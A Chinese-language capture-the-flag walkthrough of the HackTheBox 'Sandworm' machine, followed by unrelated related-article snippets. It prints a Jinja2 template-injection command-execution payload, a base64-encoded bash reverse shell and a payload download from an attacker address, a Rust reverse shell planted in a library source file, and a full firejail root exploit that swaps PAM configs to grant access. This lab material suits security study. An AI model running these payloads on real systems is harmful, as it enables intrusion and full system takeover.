HTB-Sandworm

news/2024/10/22 23:39:04/

HTB-Sandworm

  • 立足
  • altas -> silentobserver
  • silentobserver -> 完整的atals
  • atlas -> root
  • exploit

请添加图片描述

扫描最常用的1000个端口。
在这里插入图片描述

80会重定向到443。
在这里插入图片描述

去看看443有什么吧。
在这里插入图片描述

在这里插入图片描述

目录扫描可能不会起作用。在concat上面找到了一个有趣的东西。
在这里插入图片描述
“如果不知道怎么PGP?请访问guide。”
在这里插入图片描述
继续点进去。
在这里插入图片描述
顶部有他们的PGP公钥。
在这里插入图片描述

在这里插入图片描述

经过多次尝试发现Verifying signed messages存在SSTI。

在这里插入图片描述
来看看是怎么发现的。以下是我们需要用的在线网站工具:
https://youritmate.us/pgp/
http://www.2pih.com/pgp.html

首先打开第一个超链接的,填写名字、邮件、和密码(可选可不选),然后生成可以得到私钥和公钥。

在这里插入图片描述
接着复制私钥来到第二个超链接,如果前面填写了密码的就在Passphrase填写密码,复制私钥并且随意输入一个Message。
在这里插入图片描述

底下就有我们生成的sign。
在这里插入图片描述

为什么我们要怎么做?是因为我们需要观察我们能够控制的部分是那部分。然后将公钥和sign复制到目标验证功能处。
在这里插入图片描述
很显然,我们能控制的是生成PGP时所需的名字上。

在这里插入图片描述

接着将名字修改为{{12*12}}测试是否存在SSTI(别忘了重新生成以及替换掉旧的私钥和公钥。
在这里插入图片描述
然后就发现存在SSTI。
在这里插入图片描述

{{12*12}}替换为{{7*'7'}}后出现了7个7。
在这里插入图片描述

要么是Jinja2,要么是Twig,当然还有其他可能。使用{{config.items()}}收集信息发现了mysql的相关信息。

在这里插入图片描述

尝试使用mysql的账户登录ssh失败,怀疑可能是个兔子洞。
使用payload“{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}”来尝试执行id。
在这里插入图片描述
可以看到成功执行了id命令。那么下一步就是反弹shell了。不过让我们先尝试看看能不能ping到本机。

在这里插入图片描述
很遗憾,似乎有什么东西在阻止我们。在想办法绕过它之前先看看当前用户的ssh文件能否被读取。
在这里插入图片描述

atlas的.ssh文件里面只有一个authorized_keys。

在这里插入图片描述

尝试写入公钥登录也没有办法。所以只有考虑想办法绕过它。

立足

首先想到的是用base64编码一次。

使用base64命令,然后输入要编码的字符串,输入完毕后按下CTRL+D即可。
在这里插入图片描述

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMC80NDQ0IDA+JjEK" | base64 -d | bash

在这里插入图片描述

收集信息的时候发现还有很多页面我没有收集到。
在这里插入图片描述

在这里插入图片描述

不知道为啥我当前shell的好像有点问题。无法使用nc活wget下载linpeas,但是我们有python3。

python3 -c "import urllib.request;url ='http://10.10.14.10/linpeas.sh';filename ='linpeas.sh';urllib.request.urlretrieve(url, filename)"

在这里插入图片描述

问题又来了,没有办法用chmod修改权限。

在这里插入图片描述

可以尝试使用python来修改权限,不过大概率没有权限修改权限。

在这里插入图片描述

就目前这个情况,我感觉大概率是需要找到另一个用户的凭证。还好在./httpie/sessions/localhost_5000/admin.json找到了。
在这里插入图片描述

altas -> silentobserver

利用获得的凭证通过ssh登录。

在这里插入图片描述

silentobserver -> 完整的atals

opt目录有两个有趣的玩意。

在这里插入图片描述

通过pspy看看这两个有趣的东西会不会被时间任务启动。
在这里插入图片描述
在这里插入图片描述
上面那个rust的作用可能就是把用户查询的信息写进access.log文件里面。
在这里插入图片描述

这个tipnet程序会提供几个功能。

在这里插入图片描述

但是看源码能够看到似乎就只有UpstreamRefresh Indeces可用。
在这里插入图片描述
上面是e重新刷新一个什么东西,a下面是查询。

在这里插入图片描述

在这里插入图片描述

当我们使用e(Refresh Indeces),会执行一个函数pull_indeces

在这里插入图片描述

tipnet会有一句写入/opt/tipnet/access.log的代码,但是看了一下并没有发现。只存在一个logger::log

-

再结合上时间任务中这句命令。推测是将某个文件编译为库,方便tipnet使用。在这里插入图片描述
这个logger应该那个外部crate, 看代码感觉就是用来写入日志的。
在这里插入图片描述

但是这个tipnet,似乎只能利用修改lib.rs来想办法反弹atlas用户的shell。不过我们都有了silentobserver的ssh账户了,可能用不上。
在这里插入图片描述

继续搜索发现有一个firejail的SUID。

在这里插入图片描述
搜索发现有一个exploit可用。
在这里插入图片描述

在这里插入图片描述
在使用的时候会发现没有权限使用firejail。

在这里插入图片描述

在这里插入图片描述

哦,似乎那个lib.rs是用来获得完整atlas用户的shell。那把logger下的lib.rs内容修改为反弹shell的代码,然后重新重建一下。

extern crate chrono;use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};pub fn log(user: &str, query: &str, justification: &str) {let sock = TcpStream::connect("10.10.14.16:4321").unwrap();let fd = sock.as_raw_fd();Command::new("/bin/bash").arg("-i").stdin(unsafe { Stdio::from_raw_fd(fd) }).stdout(unsafe { Stdio::from_raw_fd(fd) }).stderr(unsafe { Stdio::from_raw_fd(fd) }).spawn().unwrap().wait().unwrap();let now = Local::now();let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {Ok(file) => file,Err(e) => {println!("Error opening log file: {}", e);return;}};if let Err(e) = file.write_all(log_message.as_bytes()) {println!("Error writing to log file: {}", e);}
}

复制到/opt/crates/logger/src/lib.rs,然后等两分钟就可以了。完整的atlas有一个jailer的组。

在这里插入图片描述

atlas -> root

继续回到那个firejail上。
在这里插入图片描述
看来需要两个shell。重新写一个lib.rs就行了,然后第二个shell里面照着说明使用即可。

在这里插入图片描述

exploit

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221

#!/usr/bin/python3import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path# Print error message and exit with status 1
def printe(*args, **kwargs):kwargs['file'] = sys.stderrprint(*args, **kwargs)sys.exit(1)# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):s = os.stat(f)if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):return Falsewith open(f) as fd:ch = fd.read(2)if len(ch) != 1 or ch != "1":return Falsereturn Truedef mountTmpFS(loc):subprocess.check_call("mount -t tmpfs none".split() + [loc])def bindMount(src, dst):subprocess.check_call("mount --bind".split() + [src, dst])def checkSelfExecutable():s = os.stat(__file__)if (s.st_mode & stat.S_IXUSR) == 0:printe(f"{__file__} needs to have the execute bit set for the exploit to \
work. Run `chmod +x {__file__}` and try again.")# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():# just run a long sleep command in an unsecured sandboxproc = subprocess.Popen("firejail --noprofile -- sleep 10d".split(),stderr=subprocess.PIPE)# read out the child PID from the stderr output of firejailwhile True:line = proc.stderr.readline()if not line:raise Exception("helper sandbox creation failed")# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is outputline = line.decode('utf8').strip().lower()if line.find("child pid") == -1:continuechild_pid = line.split()[-1]try:child_pid = int(child_pid)breakexcept Exception:raise Exception("failed to determine child pid from helper sandbox")# We need to find the child process of the child PID, this is the# actual sleep process that has an accessible root filesystem in /procchildren = f"/proc/{child_pid}/task/{child_pid}/children"# If we are too quick then the child does not exist yet, so sleep a bitfor _ in range(10):with open(children) as cfd:line = cfd.read().strip()kids = line.split()if not kids:time.sleep(0.5)continueelif len(kids) != 1:raise Exception(f"failed to determine sleep child PID from helper \
sandbox: {kids}")try:sleep_pid = int(kids[0])breakexcept Exception:raise Exception("failed to determine sleep child PID from helper \sandbox")  else:raise Exception(f"sleep child process did not come into existence in {children}")join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"if not os.path.exists(join_file):raise Exception(f"join file from helper sandbox unexpectedly not found at \
{join_file}")return proc, join_file# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):if not checkFile(join_file):printe(f"{join_file}: this file does not match the requirements (owner uid 0, \
size 1 byte, content '1')")os.environ["FIREJOIN_JOINFILE"] = join_fileos.environ["FIREJOIN_UNSHARED"] = "1"unshare = shutil.which("unshare")if not unshare:printe("could not find 'unshare' program")cmdline = "unshare -U -r -m".split()cmdline += [__file__]# Re-execute this script with unshared user and mount namespacessubprocess.call(cmdline)if "FIREJOIN_UNSHARED" not in os.environ:# First stage of execution, we first need to fork off a helper sandbox and# an exploit environmentcheckSelfExecutable()helper_proc, join_file = createHelperSandbox()reexecUnshared(join_file)helper_proc.kill()helper_proc.wait()sys.exit(0)
else:# We are in the sandbox environment, the suitable join file has been# forwarded from the first stage via the environmentjoin_file = os.environ["FIREJOIN_JOINFILE"]# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:mountTmpFS("/proc/1")
except subprocess.CalledProcessError:# This is a special case for Fedora Linux where SELinux rules prevent us# from mounting a tmpfs over proc directories.# We can still circumvent this by mounting a tmpfs over all of /proc, but# we need to bind-mount a copy of our own time namespace first that we can# symlink to.with open("/tmp/time", 'w') as _:passtime_ns_src = "/tmp/time"bindMount("/proc/self/ns/time", time_ns_src)mountTmpFS("/proc")FJ_MNT_ROOT = Path("/run/firejail/mnt")# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:umask_fd.write("022")# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:tf.write("auth sufficient pam_permit.so\n")tf.write("account sufficient pam_unix.so\n")tf.write("session sufficient pam_unix.so\n")# Be agnostic about the PAM config file location in /etc or /usr/etcfor pamd in ("/etc/pam.d", "/usr/etc/pam.d"):if not os.path.isdir(pamd):continuefor service in ("su", "sudo"):service = Path(pamd) / serviceif not service.exists():continue# Bind mount over new "helpful" PAM config over the originalbindMount(tf.name, service)print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")while True:line = sys.stdin.readline()if not line:break

http://www.ppmy.cn/news/553908.html

相关文章

方波的傅里叶变换

Et1*(t>0.1&t<0.5)表示方波&#xff0c;然后用fft() fftshift()函数画出傅里叶变换后的频域振幅 clc; clear; %时域光谱 delta500; t 0:1/delta:1; f020; Et1*(t>0.1&t<0.5); figure(1); plot(t,Et); %频域光谱 Ewfft(Et); Ewfftshift(Ew);%若需要作ff…

B站在计算机内部,如何在Bilibili中弹幕式播放本地视频?

指南: 也许您对Bilibili有所了解&#xff0c;但是您知道如何在Bilibili播放带有弹幕的本地视频吗&#xff1f;今天&#xff0c;我将分享弹幕播放本地视频的方法. 你可以看看. 也许每个人都对Bilibili有所了解&#xff0c;但是您知道如何在Bilibili中弹幕弹射本地视频吗&#xf…

ffplay播放器

1 ffplay.c的意义 ffplay.c是FFmpeg源码⾃带的播放器&#xff0c;调⽤FFmpeg和SDL API实现⼀个⾮常有⽤的播放器。 例如哔哩哔哩著名开源项⽬ijkplayer也是基于ffplay.c进⾏⼆次开发。 ffplay实现了播放器的主体功能&#xff0c;掌握其原理对于我们独⽴开发播放器⾮常有帮助。…

Android Studio里面报错Cannot resolve symbol “MusicControl“

不知道为啥&#xff0c;总是报错&#xff0c;按照网上的方法也试过了File>“Invalidate Caches / Restart”&#xff0c;然后点击对话框中的 “Invalidate and Restart”也没有用 package com.example.bofangqi;import android.animation.ObjectAnimator; import android.c…

2021云栖大会

2021-10-19 以前科幻片中看到的&#xff0c;现实正在一步步实现。以下来自各个厂商的产品。 5G全息通话应用&#xff08;3把高速的风扇打出的影像&#xff09; 5G全息通话应用 https://v.youku.com/v_show/id_XNTgxNDU5MzQxMg.html?refershipinyunPC_operation.liuliling_bof…

HTML练习之路15(播放器效果)

本次要完成如图所示的拼图效果&#xff1a; 通过不同线性渐变的数量可以确定最少需要三个容器&#xff0c;由于本题没有任何素材&#xff0c;所以白色圆形和黑色三角形都需要自制&#xff0c;所以我们的框架可以是五个盒子依次包裹&#xff0c;并且在制定盒子时依次定义类名&am…

合宙Air724UG Cat.1模块硬件设计指南--天线接口

天线接口 简介 天线是发射和接收电磁波的一个重要的无线电设备&#xff0c;没有天线也就没有无线电通信。天线品种繁多&#xff0c;以供不同频率、不同用途、不同场合、不同要求等不同情况下使用。 特性 LTE天线接口。50 欧姆特性阻抗&#xff0c;不推荐使用PCB板载天线&#…

【C++核心】特殊的元素集合-数组与字符串详解

一. 数组 1.1 概述 所谓数组&#xff0c;就是一个集合&#xff0c;里面存放了相同类型的数据元素 特点1&#xff1a; 数组中的每个数据元素都是相同的数据类型 特点2&#xff1a; 数组是由连续的内存位置组成的 1.2 一维数组 1.2.1 一维数组定义方式 一维数组定义的三种…